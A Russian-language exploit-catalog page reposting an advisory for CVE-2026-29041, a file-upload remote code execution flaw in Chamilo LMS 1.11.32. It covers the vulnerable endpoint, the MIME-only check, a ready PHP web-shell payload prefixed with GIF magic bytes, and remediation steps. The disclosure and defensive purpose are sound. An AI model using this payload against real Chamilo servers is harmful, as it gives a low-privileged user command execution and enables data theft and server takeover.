Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-29041 — Привет, я K. Это моя первая CVE — уязвимость удалённого выполнения кода (RCE). Это начало моего пути как исследователя безопасности. | Kitploit
Инструменты/GitHubGitHub/kx00007/cve-2026-29041
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и Образование
GitHubkx00007/cve-2026-29041

CVE-2026-29041

Привет, я K. Это моя первая CVE — уязвимость удалённого выполнения кода (RCE). Это начало моего пути как исследователя безопасности.

Репозиторий
256 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-29041 — Аутентифицированное удалённое выполнение кода (RCE) через неограниченную загрузку файлов в Chamilo LMS 1.11.32

Аутентифицированное удалённое выполнение кода в Chamilo LMS 1.11.32 из-за некорректной проверки загружаемых файлов в AJAX-эндпоинте ck_uploadimage. Студент с низкими привилегиями может загрузить PHP-веб-шелл, замаскированный под изображение, что приводит к полному компрометации сервера.


📋 Сводка об уязвимости

ПолеДетали
ПродуктChamilo LMS
Версия1.11.32 (Подтверждено)
УязвимостьНеограниченная загрузка файлов с опасным типом (CWE-434)
ВоздействиеАутентифицированное удалённое выполнение кода (RCE)
CVSS v3.18.8 (ВЫСОКИЙ) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Требуется аутентификация✅ Да — роль студента (низкие привилегии)
CWECWE-434: Неограниченная загрузка файла с опасным типом
ОбнаружилMENG HOKSENG

🧠 Детали уязвимости

Затронутый эндпоинт

root@kitploit:~
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]

Уязвимый файл: main/inc/ajax/document.ajax.php
Уязвимая функция: ck_uploadimage

Анализ первопричины

Обработчик загрузки выполняет только проверку MIME-типа с помощью функции PHP mime_content_type(), которая проверяет магические байты файла (первые несколько байтов содержимого), а не расширение файла.

root@kitploit:~
// Уязвимая логика проверки (упрощённо)
$mime = mime_content_type($_FILES['upload']['tmp_name']);

if (!mimeAccepted($mime, ['image'])) {
    die("Invalid file type");
}

// ❌ Нет проверки расширения
// ❌ Нет санитизации имени файла
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);

Две отдельные слабости объединяются в полную цепочку эксплуатации:

  1. Проверка только MIME-типа — обходится добавлением валидных магических байтов изображения (GIF89a) перед PHP-кодом
  2. Сохранение исходного имени файла — сервер сохраняет файл с контролируемым атакующим именем, включая расширение .php, в каталоге, доступном через веб

Техника обхода

Вредоносный файл создаётся следующим образом:

root@kitploit:~
GIF89a;<?php system($_GET['cmd']); ?>
  • mime_content_type() считывает GIF89a → классифицирует как image/gif → проходит проверку
  • move_uploaded_file() сохраняет как shell.php в /app/upload/users/<id>/ → напрямую исполняется через браузер

💣 Доказательство концепции

Запустите полный эксплойт, который автоматически выполняет вход как студент и загрузку файла image После запуска полного эксплойта на Python наш загруженный веб-шелл можно найти по адресу http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id image

🛡️ Воздействие

Успешная эксплуатация этой уязвимости приводит к полному компрометации сервера с учётной записи уровня студента:

  • 🔴 Удалённое выполнение кода — произвольные команды ОС через веб-шелл
  • 🔴 Эксфильтрация данных — полный доступ к учётным данным базы данных приложения и файлам
  • 🔴 Горизонтальное перемещение — переход во внутреннюю сеть с скомпрометированного сервера
  • 🔴 Постоянство — возможность установки бэкдоров в каталогах, доступных через веб
  • 🔴 Нарушение работы сервиса — изменение или удаление содержимого курсов и пользовательских данных

Воздействие на CIA: Полная потеря конфиденциальности, целостности и доступности.


🔧 Устранение

▪ Внедрите строгий список разрешённых расширений файлов Должны приниматься только явно разрешённые расширения файлов изображений (например, .jpg, .png, .gif). Загружаемые файлы с исполняемыми расширениями, такими как .php, .phtml или .phar, должны отклоняться независимо от MIME-типа.

▪ Не полагайтесь только на проверку MIME-типа Проверки MIME-типа с использованием таких функций, как mime_content_type(), не должны использоваться в качестве основного средства контроля безопасности, поскольку их можно обойти с помощью специально сформированных заголовков файлов. Проверка MIME должна использоваться только как вторичная проверка.

▪ Храните загруженные файлы вне каталогов, доступных через веб Загруженное содержимое должно храниться в каталоге, который не доступен напрямую через веб- сервер. Если требуется публичный доступ, файлы должны обслуживаться через контролируемый обработчик, а не через прямой доступ.

📄 Ссылки

  • Официальный сайт Chamilo LMS
  • CWE-434: Неограниченная загрузка файла с опасным типом
  • OWASP: Неограниченная загрузка файлов
  • Калькулятор CVSS v3.1

👤 Автор

MENG HOKSENG
Независимый исследователь безопасности


⚠️ Правовое уведомление

Этот проект выпущен только для образовательных целей и санкционированных исследований безопасности. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим эксплойтом. Всегда получайте явное письменное разрешение перед проведением оценок безопасности.

Скачать инструмент